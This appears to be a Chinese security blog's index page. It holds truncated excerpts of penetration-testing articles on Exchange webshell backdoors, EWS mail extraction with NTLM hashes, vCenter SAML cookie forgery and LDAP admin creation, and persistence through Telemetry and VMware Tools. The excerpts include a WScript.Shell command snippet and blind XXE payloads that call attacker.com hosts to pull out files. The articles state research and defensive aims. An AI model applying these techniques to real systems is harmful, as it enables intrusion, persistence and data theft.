Good in study, attitude and health

  • 渗透基础——Exchange一句话后门的进一步实现

    0x00 前言 在之前的文章《渗透基础——Exchange一句话后门的实现》和《渗透基础——Exchange一句话后门的扩展》介绍了通过Webshell内存加载.net程序集的方法。 如果同其他技术相结合,可以达到意想不到的效果。 本文仅在技术研究的角度点到为止,开源一份简单的测试代码,结合利用思路给出防御建议。 0x01 简介 本文将要介绍以下内容: 思路启发 开源代码 检测方法 0x02 思路启发 1.Exchange的端口复用 参考资料: http://www.zcgonvh.com/post/analysis_of_CVE-2020-17144_and_to_weaponizing.html https://docs.microsoft.com/en-us/dotnet/api/system.net.httplistener?view=net-5.0 通过调用HTTP API进行端口复用,劫持EWS某个未被注册的端点供外部访问 这种方法可以在Exchange下建立一个监听器,执行提供的命令 2.通过C Sharp调用JScript 参考资料: https://peterjson.medium.com/some-notes-about-microsoft-exchange-deserialization-rce-cve-2021-42321-110d04e8852 https://docs.microsoft.com/en-us/dotnet/api/microsoft.jscript.vsa?view=netframework-4.8 示例代码test1.cs的内容如下: using System; namespace test { public class Program { public static void Main(string[] args) { string code = "new ActiveXObject(\"WScript.Shell\").exec(\"cmd.exe /c whoami \").stdout.readall()"; Microsoft.JScript.Vsa.VsaEngine...

  • Exchange Web Service(EWS)开发指南6——requests_ntlm

    0x00 前言 在之前的文章《Exchange Web Service(EWS)开发指南4——Auto Downloader》和《Exchange Web Service(EWS)开发指南5——exchangelib》介绍了两种利用hash访问Exchange资源的方法,各有特点。 前者采用了较为底层的通信协议,在功能实现上相对繁琐,但是有助于理解通信协议原理和漏洞利用。后者借助第三方库exchangelib,开发便捷,但是不太适用于漏洞利用。 站在漏洞利用的角度,如果仅使用封装NTLM认证的第三方包,既不影响漏洞利用,又能兼顾效率。 所以本文选取了第三方包requests_ntlm,以自动化下载邮件和提取附件为例,开源代码,介绍用法。 0x01 简介 本文将要介绍以下内容: requests_ntlm用法 开发细节 开源代码 0x02 requests_ntlm用法 说明文档: https://github.com/requests/requests-ntlm 1.两种登录方法 我在低于1.0.0版本的requests_ntlm.py找到了使用Hash登录的方法,代码位置: https://github.com/requests/requests-ntlm/blob/v0.3.0/requests_ntlm/requests_ntlm.py#L16 这里可以找到使用Hash登录的参数格式为ABCDABCDABCDABCD:ABCDABCDABCDABCD 两种登录Exchange的示例代码如下: (1)明文登录 target = "192.168.1.1" username = "administrator@test.com" password = "password1" res = requests.post("https://" + target + "/ews/exchange.asmx", data=POST_BODY, headers=headers, verify=False, auth=HttpNtlmAuth(username, password)) print(res.status_code) print(res.text)...

  • vSphere开发指南6——vCenter SAML Certificates

    0x00 前言 我最近学到的一个利用方法:在vCenter上使用管理员权限,从/storage/db/vmware-vmdir/data.mdb提取IdP证书,为管理员用户创建SAML请求,最后使用vCenter server进行身份验证并获得有效的管理员cookie。 直观理解:从vCenter本地管理员权限到VCSA管理面板的管理员访问权限。 学习资料: https://www.horizon3.ai/compromising-vcenter-via-saml-certificates/ https://github.com/horizon3ai/vcenter_saml_login 本文将要在学习资料的基础上,完善代码,增加通用性,结合利用思路给出防御建议。 0x01 简介 本文将要介绍以下内容: 方法复现 脚本优化 利用思路 防御建议 0x02 方法复现 在Kali系统下进行测试 安装Openssl: apt install python3-openssl 1.从vCenter获得数据库文件 路径:/storage/db/vmware-vmdir/data.mdb 需要vCenter管理员权限 2.运行脚本 下载地址: https://github.com/horizon3ai/vcenter_saml_login/blob/main/vcenter_saml_login.py 命令参数示例: python3 ./vcenter_saml_login.py -t 192.168.1.1 -p data.mdb 命令行返回结果: JSESSIONID=XX533CDFA344DE842517C943A1AC7611 3.登录VCSA管理面板 访问https://192.168.1.1/ui 设置Cookie: JSESSIONID=XX533CDFA344DE842517C943A1AC7611 成功以管理员身份登录管理面板 0x03 脚本优化 通常data.mdb的大小至少为20MB 为了减少交互流量,选择将vcenter_saml_login.py修改成能够直接在vCenter下使用 注: vCenter默认安装Python 在脚本修改上具体需要考虑以下问题:...

  • 利用TelemetryController实现的后门分析

    0x00 前言 我从ABUSING WINDOWS TELEMETRY FOR PERSISTENCE学到了一种利用TelemetryController实现的自启动后门方法,在Win10下测试没有问题,但在Win7和Server2012R2下测试遇到了不同的结果。 本文将要记录我的学习心得,分析利用方法,给出防御建议 参考资料: https://www.trustedsec.com/blog/abusing-windows-telemetry-for-persistence/ 0x01 简介 本文将要介绍以下内容: 基础知识 常规利用方法 在Win7和Server2012R2下遇到的问题 解决方法 利用方法 防御建议 0x02 基础知识 1.TelemetryController 对应的进程为CompatTelRunner.exe CompatTelRunner.exe被称为Windows兼容性遥测监控程序。它会定期向微软发送使用和性能数据,以便改进用户体验和修复潜在的错误。 通常是为了升级win10做兼容性检查用的程序 通过计划任务Microsoft Compatibility Appraiser启动 计划任务Microsoft Compatibility Appraiser默认启用,每隔一天自动运行一次,任意用户登录时也会运行 2.计划任务Microsoft Compatibility Appraiser (1)通过面板查看计划任务 启动taskschd.msc 依次选择Task Scheduler (Local) -> Task Scheduler Library -> Microsoft -> Windows -> Application Experience,选择Microsoft...

  • Exchange Web Service(EWS)开发指南5——exchangelib

    0x00 前言 在之前的文章介绍了通过SOAP XML message实现利用hash对Exchange资源的访问,由于采用了较为底层的通信协议,在功能实现上相对繁琐,但是有助于理解通信协议原理和漏洞利用。 如果仅仅为了更高效的开发一个资源访问的程序,可以借助Python库exchangelib实现。 本文将要介绍exchangelib的用法,开源代码,实现自动化下载邮件和提取附件。 0x01 简介 本文将要介绍以下内容: exchangelib用法 开发细节 开源代码 0x02 exchangelib用法 参考资料: https://github.com/ecederstrand/exchangelib https://ecederstrand.github.io/exchangelib/ 1.简单的登录测试 代码如下: from exchangelib import Credentials, Account, Configuration, DELEGATE credentials = Credentials(username='MYWINDOMAIN\\myuser', password='topsecret') config = Configuration(server='outlook.office365.com', credentials=credentials) account = Account(primary_smtp_address='john@example.com', config=config, autodiscover=False, access_type=DELEGATE) for item in account.inbox.all().order_by('-datetime_received')[:100]: print(item.subject, item.sender, item.datetime_received) 如果Exchange服务器证书不可信,需要忽略证书验证,加入以下代码: from...

  • Exchange Web Service(EWS)开发指南4——Auto Downloader

    0x00 前言 我在之前的文章《Exchange Web Service(EWS)开发指南》和《Exchange Web Service(EWS)开发指南2——SOAP XML message》详细介绍了通过SOAP XML message实现利用hash对Exchange资源的访问。 因为是较为底层的通信协议,在功能实现上相对繁琐,例如下载邮件附件的操作,需要依次完成以下操作: 读取文件夹信息,获得邮件对应的ItemId和ChangeKey 读取邮件信息,获得附件的ItemId 通过附件的ItemId获得每个附件对应的AttachmentId 通过AttachmentId下载邮件内容,将内容作Base64解码得到实际内容 如果想要完全自动化实现下载邮件和提取附件,原有的ewsManage.py需要作一些改动 因此,本文将要介绍自动化下载邮件和提取附件的实现细节,开源代码ewsManage_Downloader。 0x01 简介 本文将要介绍以下内容: 设计思路 开发细节 开源代码 0x02 设计思路 ewsManage_Downloader需要满足以下功能: 支持明文和NTLM Hash的登录 支持关键词搜索 支持日期搜索 下载时可以指定下载数量 能够自动下载邮件和提取附件 程序在通信过程中,每次SOAP XML message请求都需要完整的NTLM验证,无法借助Session机制简化登录流程 因此,原有的ewsManage.py代码结构需要重新设计,减少代码冗余。 0x03 开发细节 1.修复登录用户Domain参数的bug 原有的ewsManage.py,需要指定登录用户的Domain作为参数 例如登录用户为test.com\administrator,Domain参数需要设置为test.com 但是,如果登录用户为administrator,那么无法指定Domain参数 这是我之前在使用NTLM认证时没有考虑到的一个地方,解决方法如下: 添加参数判断,如果Domain参数为NULL,那么在NTML认证时不指定Domian参数 代码示例: if domain == "NULL":...

  • 渗透工具开发——blind XXE利用平台的实现

    0x00 前言 当应用程序存在XXE注入漏洞但不返回其响应中任何定义的外部实体的值时,就会出现blind XXE漏洞,这意味着无法直接读取服务器文件,利用起来也比常规XXE漏洞更加复杂。 在内网渗透中,最理想的情况是在跳板的命令行下完成整个漏洞的利用,于是我打算用Python实现一个完整的blind XXE利用平台,支持在命令行下运行。 0x01 简介 本文将要介绍以下内容: blind XXE基本知识 设计思路 开源代码 0x02 blind XXE基本知识 参考链接: https://portswigger.net/web-security/xxe https://portswigger.net/web-security/xxe/blind 0x03 设计思路 1.漏洞验证 XXE利用代码如下: <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://attacker.com"> ]> 这里定义了一个外部实体,如果存在漏洞,服务器会向指定的Web服务器发送http请求 Web服务器的搭建可以使用Python的SimpleHTTPRequestHandler,细节可参考之前的文章《渗透工具开发——XSS平台的命令行实现》 2.漏洞利用 XXE利用代码如下: <!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]> malicious.dtd为具体的利用代码,这里有以下两种传输数据的方法 (1)通过HTTP协议传输数据 malicious.dtd代码示例: <!ENTITY % file SYSTEM...

  • 渗透基础——利用VMware Tools实现的后门

    0x00 前言 在渗透测试中,我们经常会碰到Windows虚拟机,这些虚拟机往往会安装VMware Tools,利用VMware Tools的脚本执行功能可以实现一个开机自启动的后门。 关于这项技术的文章: https://bohops.com/2021/10/08/analyzing-and-detecting-a-vmtools-persistence-technique/ https://www.hexacorn.com/blog/2017/01/14/beyond-good-ol-run-key-part-53/ 本文将要在参考资料的基础上,分析利用思路,给出防御建议。 0x01 简介 本文将要介绍以下内容: 利用思路 利用分析 防御建议 0x02 利用思路 VMware Tools的脚本执行功能支持在以下四种状态时运行: power,开机状态 resume,恢复状态 suspend,挂起状态 shutdown,关机状态 可以选择以下两种方法进行配置脚本执行的功能: 1.使用VMwareToolboxCmd.exe 默认安装路径:"C:\Program Files\VMware\VMware Tools\VMwareToolboxCmd.exe" 命令示例1: "C:\Program Files\VMware\VMware Tools\VMwareToolboxCmd.exe" script power enable 命令执行后,将在默认安装路径下创建文件C:\ProgramData\VMware\VMware Tools\tools.conf,内容为: [powerops] poweron-script=poweron-vm-default.bat 实现效果: 当系统开机时,将会以System权限执行"C:\Program Files\VMware\VMware Tools\poweron-vm-default.bat" 注: 对于power命令,只能是开机操作,重启操作无法触发 命令示例2: "C:\Program Files\VMware\VMware Tools\VMwareToolboxCmd.exe" script...

  • vSphere开发指南5——LDAP

    0x00 前言 在之前的三篇文章《vSphere开发指南1——vSphere Automation API》、《vSphere开发指南2——vSphere Web Services API》和《vSphere开发指南3——VMware PowerCLI》介绍了同虚拟机交互的方法,但有一个利用前提,需要获得管理员用户的口令。 所以本文将要介绍在vCenter上通过LDAP数据库添加管理员用户的方法,扩宽利用思路。 0x01 简介 本文将要介绍以下内容: 利用方法 程序实现 0x02 利用方法 由于介绍这部分的内容相对较少,我从以下资料获得了一些思路: https://www.guardicore.com/blog/pwning-vmware-vcenter-cve-2020-3952/ https://kb.vmware.com/s/article/2147280 vCenter默认安装了LDAP数据库,用来存储登录用户的信息 LDAP的凭据信息使用Likewise进行存储 1.导出LDAP的凭据信息 运行以下命令以访问likewise shell: /opt/likewise/bin/lwregshell 切换目录: cd HKEY_THIS_MACHINE\services\vmdir 导出信息: list_values 执行结果如下图 以上命令可以合并成一句: /opt/likewise/bin/lwregshell list_values '[HKEY_THIS_MACHINE\services\vmdir]' 2.连接LDAP数据库 vCenter内置了ldapsearch,可以用来查询LDAP数据库信息 查询命令示例: ldapsearch -x -H ldap://192.168.1.1:389 -D "cn=192.168.1.1,ou=Domain Controllers,dc=aaa,dc=bbb" -w "P@ssWord123@@" -b "dc=aaa,dc=bbb"...

  • vSphere开发指南4——PostgreSQL

    0x00 前言 在之前的三篇文章《vSphere开发指南1——vSphere Automation API》、《vSphere开发指南2——vSphere Web Services API》和《vSphere开发指南3——VMware PowerCLI》介绍了同虚拟机交互的方法,能够远程导出虚拟机的配置信息,本文将要介绍在vCenter上通过PostgreSQL数据库导出虚拟机配置信息的方法。 0x01 简介 本文将要介绍以下内容: 导出方法 程序实现 0x02 导出方法 vCenter默认安装了PostgreSQL数据库,用来存储VM和ESXI的信息 在之前的文章《Confluence利用指南》提到过: PostgreSQL安装完成后会在本地操作系统创建一个名为postgres的用户,默认没有口令 如果没有设置用户postgres的口令,可以通过以下命令连接PostgreSQL数据库: psql -h localhost -U postgres 执行结果如下图 默认用户列表如下图 如果设置了用户postgres的口令并且无法获得,可以选择用户vc进行操作,连接PostgreSQL数据库的命令如下: psql -h localhost -d VCDB -U vc 执行结果如下图 用户vc的明文口令存储在固定文件/etc/vmware-vpx/vcdb.properties中 注: psql不支持直接传入口令作为参数,需要交互的环境进行操作 连接至PostgreSQL数据库后,查询虚拟机配置信息的命令如下: SELECT * FROM vc.vpx_vm; 连接至PostgreSQL数据库后,查询ESXI配置信息的命令如下: SELECT * FROM vc.vpx_host; 为了便于使用,连接PostgreSQL数据库和查询命令可以进行合并,这里分享以下两个命令示例:...